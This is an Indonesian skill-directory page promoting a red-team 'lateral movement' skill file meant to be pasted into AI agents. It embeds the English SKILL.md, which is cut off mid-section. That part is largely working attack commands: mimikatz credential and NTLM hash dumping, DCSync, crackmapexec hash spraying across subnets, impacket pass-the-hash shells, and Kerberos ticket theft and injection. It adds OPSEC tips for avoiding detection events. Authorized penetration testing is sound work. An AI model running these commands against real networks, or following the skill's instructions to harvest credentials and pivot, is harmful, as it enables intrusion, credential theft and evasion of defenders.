offensive-lateral-movement
Fungsinya
Skill ini adalah metodologi untuk bergerak melintasi jaringan setelah pijakan awal dalam red team atau tes penetrasi yang sah. Skill mencakup penggunaan ulang kredensial, relay NTLM, protokol eksekusi jarak jauh, dan tunneling. Skill ditujukan bagi profesional keamanan dengan izin tertulis.
Kapan dipakai
- ✓Saat Anda punya pijakan dalam tes yang sah dan perlu memeriksa seberapa jauh kredensial bisa menjangkau.
- ✓Ketika Anda ingin menguji paparan relay NTLM pada host yang tidak memakai SMB signing.
- ✓Ketika Anda perlu mendokumentasikan setiap langkah pivot untuk laporan keterlibatan.
Link skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-lateral-movement/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
“Kami punya izin untuk menguji jaringan kami dari satu workstation yang sudah disusupi. Periksa host mana yang menerima kredensial yang digunakan ulang.”
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Skill mendaftar host dan port umum yang bisa dijangkau, lalu menguji penggunaan ulang kredensial dan opsi eksekusi jarak jauh. Ia menyiapkan terowongan jika jaringan tersegmentasi perlu dijangkau, dan mencatat setiap pivot.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
Offensive Lateral Movement
Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.
This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.
Quick Workflow
- Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
- Harvest credentials from the current host (LSASS, SAM, cached creds).
- Test credential reuse across discovered hosts with crackmapexec/netexec.
- Select a movement technique based on available credentials and target services.
- Establish persistence on the new host before moving further.
- Set up tunneling if you need to reach segmented networks.
- Document each pivot for your engagement report.
Pass-the-Hash
Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.
Extract hashes with mimikatz on the current host:
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords
# Dump SAM hashes (requires SYSTEM)
lsadump::sam
# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv
Use crackmapexec (or netexec) to spray the hash across the network:
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"
# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares
Use impacket for shell access:
# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>
OPSEC note: PsExec creates a service on the target (event 7045). Prefer
wmiexec or evil-winrm when possible. Crackmapexec with --no-bruteforce
prevents lockouts when testing multiple users against multiple hashes.
Pass-the-Ticket and Overpass-the-Hash
Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone.
Export tickets from memory with mimikatz:
# List all Kerberos tickets in memory
sekurlsa::tickets /export
# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi
Overpass-the-hash -- request a Kerberos TGT using an NTLM hash:
# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe
From Linux using impacket:
# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache
# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local
Request a service ticket for a specific SPN:
# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
OPSEC note: Kerberos authentication generates event 4768 (TGT request) and 4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4 encryption when AES is the domain default -- this is a known detection signal.
NTLM Relay Attacks
NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced.
Check SMB s
Pertanyaan umum
Apa itu pass-the-hash?
Itu adalah autentikasi dengan hash kata sandi, bukan kata sandi biasa, yang diuji skill pada host yang sah.
Apakah perlu kredensial terlebih dahulu?
Ya. Skill mengasumsikan setidaknya ada satu kredensial atau token sesi yang valid pada host saat ini.
Apakah ini hanya untuk tes yang sah?
Ya. Skill ditujukan untuk keterlibatan yang sah.
Detail
Deskripsi asli dari pembuat
Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackmapexec/netexec, impacket suite, and evil-winrm with emphasis on OPSEC considerations, SMB signing bypa
repo: SnailSploit/Claude-Red
Popularitas
- Bintang GitHub
- 10k
- Peringkat
- #11965
- Lisensi
- MIT
- Diperbarui
- 12/10/2026
Komentar
- …
Skill lain dari repositori ini
offensive-active-directory
10kMembantu agent Anda merencanakan tes keamanan Active Directory yang sah, mulai dari memetakan jaringan hingga menemukan jalur serangan ke Domain Admin.
offensive-netexec
10kMembantu agent Anda memakai alat NetExec (nxc) untuk tes jaringan yang sah, mencakup protokol, autentikasi, dan pemeriksaan kredensial.
offensive-api-abuse
10kMembantu agent Anda merencanakan tes keamanan API yang sah untuk mencari penyalahgunaan logika bisnis, risiko GraphQL, dan kondisi balapan.
offensive-api-security
10kMembantu agent Anda menjalankan tes keamanan yang sah pada API REST, gRPC, dan WebSocket, berdasarkan OWASP API Top 10.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.